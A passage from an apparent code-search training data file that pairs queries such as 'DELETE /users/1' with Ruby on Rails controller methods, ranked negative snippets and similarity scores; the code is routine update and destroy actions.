"def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: user\n else\n render json: user.errors.full_messages\n end\n end",
"def update\n respond_to do |format|\n if @user.update(form_params)\n format.json { render json: { users: @user }, status: :ok, location: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user.update(user_params)\n respond_with @user\n end",
"def update\n @user = user.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_user\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = get_user(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to root_url, notice: \"User #{@user.login_name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @v1_user.update(v1_user_params)\n format.html { redirect_to @v1_user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @v1_user }\n else\n format.html { render :edit }\n format.json { render json: @v1_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => t('user.update_success') }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status=> :unprocessable_entity }\n end\n end\n end",
"def update\n @user.update(user_params_update)\n json_response(@user)\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to users_path }\n format.json { render :json => @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user.as_json(user: current_user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = selected_user\n if @user.update(users_params)\n render 'api/users/show'\n else\n render json: @user.errors.full_messages, status: 422\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.json { head :ok }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to root_path}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = V1::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'V1::User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update \n user = User.where(:id => current_user.user)\n if user.update(user_params)\n render :json => {:user => user }\n else\n render :json => {:error => user.errors.full_messages.first}\n end\nend",
"def update\n @user = User.find(params[:id])\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\tif @user.update(user_params)\n\t\t\trender json: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def update(id, params = {})\n request(:put, \"/users/#{id}\", body: params)\n end",
"def update\n @user = current_api_user\n unless @user.update(user_params)\n render json: { error: @user.errors.full_messages.to_sentence }, status: :not_found\n end\n end",
"def update\n # not_found unless @user\n # @user = User.get(params[:id]) || not_found\n\n respond_to do |format|\n if @user.update(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => \"This user was successfully updated!\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: {\n status: 'OK',\n msg: 'User details have been updated.',\n error: 'nil'\n }, status: :accepted\n else\n not_good(406)\n end\n end",
"def update\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: I18n.t(:users_update) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = ::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to user_path(@user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n @current_user.update(user_params)\n render json: @current_user\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7225089",
"0.71287596",
"0.70036054",
"0.6903269",
"0.68219566",
"0.68156385",
"0.67085004",
"0.66934854",
"0.6681138",
"0.66734326",
"0.6672101",
"0.6664205",
"0.6664205",
"0.6659583",
"0.6659583",
"0.6655003",
"0.6648765",
"0.66436005",
"0.66416174",
"0.6635357",
"0.6618091",
"0.6615413",
"0.66102576",
"0.6607392",
"0.6583573",
"0.65826404",
"0.6581425",
"0.65799654",
"0.65617144",
"0.65590066",
"0.65590066",
"0.6543813",
"0.65369576",
"0.65160686",
"0.651476",
"0.6506366",
"0.6505538",
"0.6505538",
"0.65017945",
"0.6468404",
"0.64663565",
"0.64644647",
"0.64534026",
"0.6449177",
"0.64433014",
"0.6441379",
"0.6437763",
"0.6428511",
"0.6428511",
"0.64281344",
"0.64274454",
"0.64265203",
"0.64247286",
"0.64247286",
"0.64241695",
"0.64189106",
"0.64155716",
"0.6411466",
"0.640555",
"0.6405119",
"0.63979465",
"0.6394654",
"0.63910645",
"0.6390521",
"0.638788",
"0.6383594",
"0.63833666",
"0.638329",
"0.6382669",
"0.63778776",
"0.6375145",
"0.6374076",
"0.6373557",
"0.63735044",
"0.63710046",
"0.63633144",
"0.6361137",
"0.63609153",
"0.6356589",
"0.6356363",
"0.6350628",
"0.6342488",
"0.63346153",
"0.6333094",
"0.6328978",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518",
"0.6327518"
] |
0.0
|
-1
|
DELETE /users/1 DELETE /users/1.json
|
def destroy
@user.destroy
respond_to do |format|
format.html { redirect_to users_url, notice: 'User was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end",
"def delete\n render json: Users.delete(params[\"id\"])\n end",
"def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = V1::User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n \"\"\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n \"\"\"\n end",
"def destroy\n debugger\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n format.json { head :no_content }\n end",
"def destroy\n user = User.find(params[:id]) # from url, nothing to do with table\n user.destroy\n render json: user\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by_id_or_username params[:id]\n @user.destroy\n render api_delete @user\n end",
"def destroy\n @user = user.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def delete_user\n @user = User.find(params[:id])\n if @user.destroy\n render :json => @user\n else\n render :json => @user.errors.full_messages\n end\n end",
"def destroy\n @v1_user.destroy\n respond_to do |format|\n format.html { redirect_to v1_users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.78750724",
"0.77518034",
"0.7713981",
"0.7610077",
"0.747295",
"0.74073994",
"0.74073994",
"0.7369968",
"0.7346072",
"0.7340465",
"0.7328618",
"0.7309635",
"0.73095363",
"0.7306841",
"0.7297868",
"0.72917855",
"0.7291585",
"0.7289111",
"0.7284347",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7245172",
"0.7242216",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_user
if params[:id].present?
@user = User.find(params[:id])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
